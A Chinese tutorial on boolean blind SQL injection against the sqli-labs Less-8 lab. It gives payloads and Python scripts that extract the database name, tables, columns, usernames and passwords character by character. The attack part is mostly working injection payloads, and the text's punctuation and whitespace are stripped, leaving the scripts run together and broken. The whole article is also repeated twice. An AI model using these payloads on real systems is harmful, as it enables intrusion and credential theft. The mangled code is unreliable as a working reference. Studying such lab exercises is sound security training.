前言今天来总结下SQL注入的 Bool 盲注通过 sqli-labs 靶场练习。一、Bool盲注常用的函数database()显示数据库名称left(a,b)从左侧截取a的前b位substr(a,b,c)从b位置开始截取字符串a的c长度mid(a,b,c)从位置b开始截取a字符串的c位length()返回字符串的长度Ascii()将某个字符转换为ascii值char()将ASCII码转换为对应的字符ok知道了这些就去实战试试吧。二、Less8 布尔型单引号GET盲注补充本关也可以用时间盲注报错注入是不行的因为报错信息被注释了。输入?id1页面正常但还是没有显示信息。加单引号页面无回显应该是报错了继续输入?id1 and 12页面没有变化说明不是数字型输入?id1 and 12 --页面发生变化没有报错只是查不出数据和上面的无回显不一样说明是单引号闭合的字符型注入。知道了这些下面就可以开始正式的 Bool 注入了。1、查数据库版本利用left(database(),1)进行尝试127.0.0.1/sqli-labs-master/Less-8?id1andleft(version(),1)5%23这里数据库的版本为 5.6.17上面的语句是看版本号的第一位是不是 5如果回显正常那么说明第一位就是5这里显然回显正常剩余的慢慢测一般都是使用脚本。2、猜解数据库的长度127.0.0.1/sqli-labs-master/Less-8?id1andlength(database())8%23数据库长度为 8 时页面回显正常。这里说明下长度要一个一个的试这里只是验证下在要爆信息不多的情况下可以手动试试二分法可以提高很多效率太多的话就建议用脚本或者用burp 爆破。3、猜数据库名字首先猜测数据库第一位这里使用了 left 函数left(a,b)返回a字符串从左至b位数详细看下面用法。127.0.0.1/sqli-labs-master/Less-8?id1andleft(database(),1)a--数据库我们知道是 security所以我们看他的第一位是否 大于 a很明显 s 大于 a 的因此回显正常。当我们不知情的情况下可以用二分法来提高注入的效率。测得第一位为 s我们看前两位是否大于 sa继续猜测第二位127.0.0.1/sqli-labs-master/Less-8?id1andleft(database(),2)sa--然后第三位第四位…(很麻烦)。这里还可以构造这样的命令猜解数据库第一位 127.0.0.1/sqli-labs-master/Less-8?id1andascii(substr((database()),1,1))80--第二位127.0.0.1/sqli-labs-master/Less-8?id1andascii(substr((database()),2,1))80--…最终我们可以确定数据库的全名是security接下来我们判断表名。4、猜解表名语句?id1andleft((select table_name from information_schema.tables where table_schemadatabase()limit x,1),y)--通过变换 x 和 y 的值我们可以得到所有的表名。注security里有四张表limit 3,1 即第四张表 users接下来判断所有的users中的字段名。5、猜解字段名语句?id1andleft((select column_name from information_schema.columns where table_schemadatabase()andtable_nameuserslimit x,1),y)--通过变换 x 和 y 的值可以得到 username 和 password 这两个字段名接下来就是爆数据了 。6、猜解数据用户名?id1andleft((select username from users limit x,1),y)--通过变换xy的值可以得到所有的用户名 。密码?id1andleft((select password from users limit x,1),y)--通过变换 xy 的值可以得到所有的密码 。布尔盲注的手工注入很是繁琐推荐使用 sqlmap 或 脚本下面分享一个脚本。三、脚本注入爆数据库 # -*- coding:utf8 -*-importrequests urlhttp://localhost/sqli-labs-master/sqli-labs-master/Less-8/?id1%27# 这个url要对应你自己的urlpayload and%20left({d}(),{n})%27{s}%27%20--%20k# 上面两个可以合并为一个,但没有必要,(本来就是我拆开的)list1[a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,,1,2,3,4,5,6,7,8,9,0]# 字典str1You are in...........# 就是通过返回的页面里有没有这个字符串来判断盲注有没有成功# 开始对比database()databaseforiinrange(1,10):# 相当于C语言的for循环1~9 其实这里应该先判断database有多长的forssinlist1:# 相当于for循环遍历list,然后把每一项赋值给ssppayload.format(ddatabase,ni,sdatabasess)# 把payload里的{d},{n},{s}赋值urequests.get(urlp)# 访问网页# print pifstr1inu.content:# 如果str在网页内容里面databasessprintu正在对比database第,i,u个字符,printdatabasebreakprintu对比成功,database为:,database# 开始对比user()#user也是同理userforiinrange(1,20):forssinlist1:ppayload.format(duser,ni,suserss)urequests.get(urlp)# print pifstrinu.content:userssprintu正在对比user第,i,u个字符,printuserbreakprintu对比成功,user为:,userprintudatabase--,databaseprintuuser--,user araw_input()爆破成功接下来爆表# -*- coding:utf8 -*-importrequests urlhttp://127.0.0.1/sqli-labs-master/Less-8?id1%27payloadand%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema\database()%20limit%20{t},1),{w},1)){A}%20--%20k# 我把上面的substr改成了substring按理说mysql里substring和substr是一样的但是如果出错了记得改回substrlist1[64,94,96,124,176,40,41,48,49,50,51,52,53,54,55,56,57,173,175,95,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,44]str1You are in...........tables1tables2tables3tables4foriinrange(0,4)://这里要视情况而定,表的数量不定forjinrange(1,10):forsinlist1:ppayload.format(ti,wj,As)urequests.get(urlp)ifstr1inu.content:ifi0:tables1chr(s)printu正在对比第1个表,,u第,j,u个字符,tables1elifi1:tables2chr(s)printu正在对比第2个表,,u第,j,u个字符,tables2elifi2:tables3chr(s)printu正在对比第3个表,,u第,j,u个字符,tables3elifi3:tables4chr(s)printu正在对比第4个表,,u第,j,u个字符,tables4breakprinttables1--,tables1printtables2--,tables2printtables3--,tables3printtables4--,tables4 araw_input()然后盲注users的字段名# -*- coding:utf8 -*-importrequests list1[a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,,1,2,3,4,5,6,7,8,9,0,!,-,|,_,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,.]# 字典urlhttp://127.0.0.1/sqli-labs-master/Less-8?id1%27payload%20and%20left((select%20column_name%20from%20information_schema.columns%20where%20table_schema%27security\%27%20and%20table_name%27users%27%20limit%20{w},1),{n})%27{c}%27%20--%20k# payload其实就是url的后半部分,也是盲注的关键代码,也可以和url变量合并column[,,,,]strYou are in...........# 以上四个变量就是与本次盲注相关的变量了forjinrange(0,3):foriinrange(1,9):forlinlist1:ppayload.format(wj,ni,ccolumn[j]l)urequests.get(urlp)ifstrinu.content:column[j]lprintu正在对比第,j1,u个字段第,i,u个字符,column[j]breakforcinrange(0,5):printcolumn,c1,--,column[c]araw_input()最后就是查看数据了# -*- coding:utf8 -*-importrequests list1[a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,,1,2,3,4,5,6,7,8,9,0,!,-,|,_,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,.]# 字典urlhttp://127.0.0.1/sqli-labs-master/Less-8?id1%27payload%20and%20left((select%20username%20from%20users%20where%20id%20{n}),{w})%27{d}%27%20--%20kstrYou are in...........username[,,,,,,,,,,,,,]password[,,,,,,,,,,,,,]foriinrange(1,15):forjinrange(1,11):forlinlist1:ppayload.format(ni,wj,dusername[i-1]l)urequests.get(urlp)ifstrinu.content:username[i-1]lprintu正在对比第,i,u个记录的username的第,j,u个字符,username[i-1]payload2%20and%20left((select%20password%20from%20users%20where%20id%20{n}),{w})%27{d}%27%20--%20kforiinrange(1,15):forjinrange(1,11):forlinlist1:ppayload2.format(ni,wj,dpassword[i-1]l)urequests.get(urlp)ifstr1inu.content:password[i-1]lprintu正在对比第,i,u个记录的password的第,j,u个字符,password[i-1]printid username passwordforiinrange(1,15):printi,-,username[i-1],-,password[i-1]araw_input()关于Bool盲注的总结暂时就这么多了。
SQL注入学习——Bool盲注详解 sqli-labs(Less 8)
前言今天来总结下SQL注入的 Bool 盲注通过 sqli-labs 靶场练习。一、Bool盲注常用的函数database()显示数据库名称left(a,b)从左侧截取a的前b位substr(a,b,c)从b位置开始截取字符串a的c长度mid(a,b,c)从位置b开始截取a字符串的c位length()返回字符串的长度Ascii()将某个字符转换为ascii值char()将ASCII码转换为对应的字符ok知道了这些就去实战试试吧。二、Less8 布尔型单引号GET盲注补充本关也可以用时间盲注报错注入是不行的因为报错信息被注释了。输入?id1页面正常但还是没有显示信息。加单引号页面无回显应该是报错了继续输入?id1 and 12页面没有变化说明不是数字型输入?id1 and 12 --页面发生变化没有报错只是查不出数据和上面的无回显不一样说明是单引号闭合的字符型注入。知道了这些下面就可以开始正式的 Bool 注入了。1、查数据库版本利用left(database(),1)进行尝试127.0.0.1/sqli-labs-master/Less-8?id1andleft(version(),1)5%23这里数据库的版本为 5.6.17上面的语句是看版本号的第一位是不是 5如果回显正常那么说明第一位就是5这里显然回显正常剩余的慢慢测一般都是使用脚本。2、猜解数据库的长度127.0.0.1/sqli-labs-master/Less-8?id1andlength(database())8%23数据库长度为 8 时页面回显正常。这里说明下长度要一个一个的试这里只是验证下在要爆信息不多的情况下可以手动试试二分法可以提高很多效率太多的话就建议用脚本或者用burp 爆破。3、猜数据库名字首先猜测数据库第一位这里使用了 left 函数left(a,b)返回a字符串从左至b位数详细看下面用法。127.0.0.1/sqli-labs-master/Less-8?id1andleft(database(),1)a--数据库我们知道是 security所以我们看他的第一位是否 大于 a很明显 s 大于 a 的因此回显正常。当我们不知情的情况下可以用二分法来提高注入的效率。测得第一位为 s我们看前两位是否大于 sa继续猜测第二位127.0.0.1/sqli-labs-master/Less-8?id1andleft(database(),2)sa--然后第三位第四位…(很麻烦)。这里还可以构造这样的命令猜解数据库第一位 127.0.0.1/sqli-labs-master/Less-8?id1andascii(substr((database()),1,1))80--第二位127.0.0.1/sqli-labs-master/Less-8?id1andascii(substr((database()),2,1))80--…最终我们可以确定数据库的全名是security接下来我们判断表名。4、猜解表名语句?id1andleft((select table_name from information_schema.tables where table_schemadatabase()limit x,1),y)--通过变换 x 和 y 的值我们可以得到所有的表名。注security里有四张表limit 3,1 即第四张表 users接下来判断所有的users中的字段名。5、猜解字段名语句?id1andleft((select column_name from information_schema.columns where table_schemadatabase()andtable_nameuserslimit x,1),y)--通过变换 x 和 y 的值可以得到 username 和 password 这两个字段名接下来就是爆数据了 。6、猜解数据用户名?id1andleft((select username from users limit x,1),y)--通过变换xy的值可以得到所有的用户名 。密码?id1andleft((select password from users limit x,1),y)--通过变换 xy 的值可以得到所有的密码 。布尔盲注的手工注入很是繁琐推荐使用 sqlmap 或 脚本下面分享一个脚本。三、脚本注入爆数据库 # -*- coding:utf8 -*-importrequests urlhttp://localhost/sqli-labs-master/sqli-labs-master/Less-8/?id1%27# 这个url要对应你自己的urlpayload and%20left({d}(),{n})%27{s}%27%20--%20k# 上面两个可以合并为一个,但没有必要,(本来就是我拆开的)list1[a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,,1,2,3,4,5,6,7,8,9,0]# 字典str1You are in...........# 就是通过返回的页面里有没有这个字符串来判断盲注有没有成功# 开始对比database()databaseforiinrange(1,10):# 相当于C语言的for循环1~9 其实这里应该先判断database有多长的forssinlist1:# 相当于for循环遍历list,然后把每一项赋值给ssppayload.format(ddatabase,ni,sdatabasess)# 把payload里的{d},{n},{s}赋值urequests.get(urlp)# 访问网页# print pifstr1inu.content:# 如果str在网页内容里面databasessprintu正在对比database第,i,u个字符,printdatabasebreakprintu对比成功,database为:,database# 开始对比user()#user也是同理userforiinrange(1,20):forssinlist1:ppayload.format(duser,ni,suserss)urequests.get(urlp)# print pifstrinu.content:userssprintu正在对比user第,i,u个字符,printuserbreakprintu对比成功,user为:,userprintudatabase--,databaseprintuuser--,user araw_input()爆破成功接下来爆表# -*- coding:utf8 -*-importrequests urlhttp://127.0.0.1/sqli-labs-master/Less-8?id1%27payloadand%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema\database()%20limit%20{t},1),{w},1)){A}%20--%20k# 我把上面的substr改成了substring按理说mysql里substring和substr是一样的但是如果出错了记得改回substrlist1[64,94,96,124,176,40,41,48,49,50,51,52,53,54,55,56,57,173,175,95,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,44]str1You are in...........tables1tables2tables3tables4foriinrange(0,4)://这里要视情况而定,表的数量不定forjinrange(1,10):forsinlist1:ppayload.format(ti,wj,As)urequests.get(urlp)ifstr1inu.content:ifi0:tables1chr(s)printu正在对比第1个表,,u第,j,u个字符,tables1elifi1:tables2chr(s)printu正在对比第2个表,,u第,j,u个字符,tables2elifi2:tables3chr(s)printu正在对比第3个表,,u第,j,u个字符,tables3elifi3:tables4chr(s)printu正在对比第4个表,,u第,j,u个字符,tables4breakprinttables1--,tables1printtables2--,tables2printtables3--,tables3printtables4--,tables4 araw_input()然后盲注users的字段名# -*- coding:utf8 -*-importrequests list1[a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,,1,2,3,4,5,6,7,8,9,0,!,-,|,_,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,.]# 字典urlhttp://127.0.0.1/sqli-labs-master/Less-8?id1%27payload%20and%20left((select%20column_name%20from%20information_schema.columns%20where%20table_schema%27security\%27%20and%20table_name%27users%27%20limit%20{w},1),{n})%27{c}%27%20--%20k# payload其实就是url的后半部分,也是盲注的关键代码,也可以和url变量合并column[,,,,]strYou are in...........# 以上四个变量就是与本次盲注相关的变量了forjinrange(0,3):foriinrange(1,9):forlinlist1:ppayload.format(wj,ni,ccolumn[j]l)urequests.get(urlp)ifstrinu.content:column[j]lprintu正在对比第,j1,u个字段第,i,u个字符,column[j]breakforcinrange(0,5):printcolumn,c1,--,column[c]araw_input()最后就是查看数据了# -*- coding:utf8 -*-importrequests list1[a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,,1,2,3,4,5,6,7,8,9,0,!,-,|,_,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,.]# 字典urlhttp://127.0.0.1/sqli-labs-master/Less-8?id1%27payload%20and%20left((select%20username%20from%20users%20where%20id%20{n}),{w})%27{d}%27%20--%20kstrYou are in...........username[,,,,,,,,,,,,,]password[,,,,,,,,,,,,,]foriinrange(1,15):forjinrange(1,11):forlinlist1:ppayload.format(ni,wj,dusername[i-1]l)urequests.get(urlp)ifstrinu.content:username[i-1]lprintu正在对比第,i,u个记录的username的第,j,u个字符,username[i-1]payload2%20and%20left((select%20password%20from%20users%20where%20id%20{n}),{w})%27{d}%27%20--%20kforiinrange(1,15):forjinrange(1,11):forlinlist1:ppayload2.format(ni,wj,dpassword[i-1]l)urequests.get(urlp)ifstr1inu.content:password[i-1]lprintu正在对比第,i,u个记录的password的第,j,u个字符,password[i-1]printid username passwordforiinrange(1,15):printi,-,username[i-1],-,password[i-1]araw_input()关于Bool盲注的总结暂时就这么多了。